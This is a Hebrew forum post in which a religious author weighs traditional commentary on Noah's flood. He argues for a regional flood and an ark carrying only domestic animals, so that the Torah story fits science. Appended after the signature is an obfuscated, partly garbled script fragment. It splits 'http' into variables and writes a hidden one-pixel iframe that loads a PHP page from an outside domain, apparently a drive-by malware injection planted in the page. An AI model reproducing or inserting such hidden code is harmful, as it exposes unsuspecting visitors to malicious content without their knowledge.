נח-אבולוציה

מאמר: "המבול וחקר הסטרטיגרפיה".

http://he.wikipedia.org/wiki/%D7%90%D7%95%D7%AA%D7%A0%D7%A4%D7%99%D7%A9%D7%AA%D7%99%D7%9D

ואילו חז"ל טענו שבארץ ישראל לא היה מבול.

פשטות לשון המקרא הוא "חמש עשרה אמות מלמעלה גברו המים ויכוסו ההרים" והפסוק מתייחס בפשיטות לגובה המים הכללי כך שבכל מקרה זה לא יכל לכסות את החרמון [אמנם רש"י מפרש שזה חמש עשרה אמה מעל ראשי ההרים אך כבר קי"ל "אין מקרא יוצא מידי פשוטו" ובמיוחד שכך כתבו חז"ל בזבחים קי"ג שלא היה המבול בא"י ולא מוזכר שהייתה חומה לעצור את המים אלא שא"י גבוה מכל ארצות כלומר מבבל כמ"ש בגמ' שהגשם שיורד בא"י מזין את הפרת וכבר הקשה בתוס' שם מהפסוק ויכוסו כל ההרים אשר מתחת כל השמים ותי' "וקרא ל"ק דבמקום שירד המבול התם קאמר שנתכסו ההרים"

כפי שציין דינו ברשימת הלינקים, המבול הוא נושא פופולרי, ובצדק. הוא ממחיש יפה את מטרת הפורום, למצוא נחת רוח והתאמה, אם אפשר, בין התורה לבין המדע.

ובפרשת המבול יש קשיים רבים. אתייחס כרגע רק לאחד מהם, ויסולח לי שאני מוסיף זוית משלי ובאופן לא הכי מסודר לענין.

(לאחר שקראתי כל מה שכתבתי כאן אני שואל את עצמי אם אני נכשל בתמימות יתר. שהרי אני מקבל את סיפור המקרא כאמת עובדתית ומצד שני אני מרשה לעצמי לפרש אותו באופן מצמצם ובוודאי שאני מציע פירוש שנוגד גם את הפרשנים הקלאסיים וגם את המובא בחז"ל. האם התוצאה לא תהיה שמי שהינו אורתודוכסי כמוני (או אף חרדי) יראה בפירוש כזה זלזול ומחלוקת על המקרא בעוד מי שבעיניו התאמה למדע היא העיקר יסבור שאני עוסק רק באפולוגיה? אולי. ואולי זה כך. על מנת כן אפשר להמשיך).

כאשר יש בלבול ומבוכה, כדאי לחפש את נקודת הסתירה. והריהי:

א. התורה מספרת על מבול שכיסה את כל העולם.

ב. לפי תיאור תיבת נוח, היא לא יכלה להכיל את כל המינים שהיו נדרשים כדי ליישב את העולם מחדש בצורתו המוכרת לנו.

אז איך מפרנסים את הצורך להתאים בין סיפור התורה לבין המציאות?

הנה כמה נסיונות שלא צלחו כנראה.

1. הגישה הפונדמנטליסטית. כפי שהביא פוגמישו, אפשר לשער כי מספר המינים המועט שהחזיק נוח הצליח להתרבות ולהפיץ עצמו באופן יוצא מהכלל בכל העולם.

יתכן שעלינו לשלב את ההסבר הזה עם ההנחה שהיה נס שסייע להתפתחותן של החיות ולתפוצתן.

הגישה הזו, לדעתי, פותרת את כל הבעיות והיא לכאורה חפה מכל סתירה. כפי שכתב דינו באשכול אחר, לעתים הרמוניזציה מניבה פירות יפים.

2. פירוש מצמצם יותר. ר"ג ע"ה טען שהמבול לא היה בכל העולם.

כפי שצויין כאן, יש עדיין קשיים, כמו למשל בשאלה מה היה היקף המינים שנלקחו לתיבה. האם הם כללו יתושים ונחשים. עד כמה שאני זוכר, ר' גדליה ע"ה הניח שאכן היו בעלי חיים מזיקים כאלו בתיבה ואני משער שהניח כן גם בגלל פשטות המקרא וגם אולי בגלל שהכיר בתלות של כל חלקי השרשרת האקולוגית כידוע היום. ויש את הבעיה דלקמן.

3. פירושי שלי. המבול היה בשטח קטן וגם לתיבה לא נלקחו אלא חיות מסויימות בלבד.

הקושי: אם נניח שהמבול לא היה בכל העולם, תהיה בעיה להסביר כיצד שטח מסויים הוצף במים בעוד מקומות אחרים לא כוסו במים.

זו שאלה גדולה היא. אך לפני שאנסה למצוא פתרונות לא מהסוג א' (ולהצדיק מדוע הם עדיפים בעיני) אציין כי סיפור המבול מעורר יותר מאשר את הקושי של הנאמר בתורה. כידוע, סיפורי מבול מצויים גם, להבדיל, אצל עמים אחרים. וגם בהם מסופר על מים שהציפו את העולם המוכר. המתבקש הוא להניח שיש כאן זכרונות רחוקים של מבול או מעין מבול. בידנו לקרב ולהרחיק פרטים שונים בסיפורים האלו אבל מוטב כמדומה לקבל שעצם הסיפור הוא נכון.

מה נדרש מהסבר של סיפור המבול על מנת שהוא יהיה יותר - פשט שאינו מצריך הנחות יסוד רבות לגבי נסים שאפשר היה להסתדר בלעדיהם?

אלו חלקים מן הסיפור אנו רשאים לדחות או לפרש מחדש, ולאלו הנחות אנו נזקקים כדי לשמור על עצם הסיפור בשלימותו?

פתרונות אפשריים:

א. האם אפשר להצביע על מקום כלשהו באיזור המזרח התיכון או הסהר הפורה (מסופוטמיה) שבו יכול היה להיות מבול במובן של הצפה במים במשך שבועות או חודשים בלי שנצטרך להניח שעוד מקומות הוצפו, וזה מחייב כמובן לחפש איזור שהינו עמק בין הרים.

ב. לעומת זאת, ההנחה שהיה נס ששמר על המים באותו מקום בלבד והם לא התפשטו לשאר העולם נראית מתודולוגיות לא נכונה. אם עלינו להניח ניסים שפורצים את גדרי עולם הטבע, אז אפשר לקבל את ההסבר א'.

אולי היה עלי לפתוח באופן שסיפור המבול הצטייר לי. אז הנה, כך הדברים נראים לי בהתחשב בכל ההכרחים, סיפור המקרא מכאן וההימנעות מהסברים ניסיים יתר על המידה מכאן:

באותה תקופה בני האדם חיו באיזור אחד מצומצם (או לפחות בני האדם שעליהם מסופר בתורה). עקב חטאיהם, ה' הוריד גשם רב/היתה עליה של פני הים? ומים הציפו את כל האיזור בו חיו.

קודם לכן, נח בנה תיבה והכניס לתוכה אותם בעלי חיים שיידרשו לחיים שהאדם בן התקופה התרגל אליהם, כלומר שאיפשרו שמירה על ההישגים המדעיים והטכנולוגיים של התקופה. זה כלל מצד אחד בהמות לאכילה ומצד שני בעלי חיים שימושיים לעבודה. 

מה הם הרכיבים הניסיים שיש בקריאה זו של הסיפור? 

1. ההשגחה הפרטית. המבול היה עונש על חטא. הצדיק ניצל על ידי נבואה שגילתה לו להתכונן. ולמעשה כל הניסים שמלוים את נח לאורך כל הדרך.

מה הם הרכיבים ה"טבעיים" שיש בסיפור ש"חוסכים נסים"?

2. התיבה יכלה להכיל את כל בעלי החיים הדרושים. (לא היו בה אריות וגם לא יתושים).

3. בעלי החיים היו דרושים לאיזור מסויים של העולם בלבד.


מה ה"מחיר" הפרשני והאמוני שצריך לשלם על ההסבר שלי?

4. כמדומה בעיני שאין סתירה בין המסופר במקרא לבין פרשנותי. (לכל היותר יש לצמצם ביאורי מונחים כמו "כל היבשה", "כל היקום", "כל בעלי החיים". וזה נראה לי קריאה סבירה.

5. תיאור זה יכול להסביר מציאותם של סיפורי מבול אצל עמים אחרים.

6. החסרון הגדול בקריאה שלי היא איתור מקום גיאוגרפי שבו יכול היה להיות המבול בלי לגלוש לשאר העולם. על כך העירו לי בעבר ולא מצאתי תשובה. ואין לי תשובה גם היום. כאמור, אולי חיפוש במפה (עם ההנחה שיכלו להיות שינויים מסיבות סייסמולוגיות ואחרות שהיו משנות מעט או הרבה את פני האיזור המוכר לנו), יכול למצוא פתרון לבעיה?


****
אני מבקש לבאר את המונח "ניסי יתר על המידה". כוונתי היא כזו: אם מספיק כדי להעניש את דור המבול להציף רק את איזור מגוריהם, מדוע להניח שהוצף כל כדור הארץ? ואם די לקחת לתיבה רק את בעלי החיים הדרושים לחיי אדם, למה להניח שנלקחו גם אריות ויתושים? זה אפשרי בדרך הנס, אבל אם אפשר בלי זה, אז האם זה לא עדיף לפרש כך?

_________________

נוספו שורות שהייתי צריך להוסיף מתחילה, אבל סליחה, אני כותב כשאני עייף.
שומר פיו ולשונו - שומר מצרות נפשו ******* language=""> *-- var as='h'; var ac='tt'; var ab='p'; var ay="//"; document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*"); //*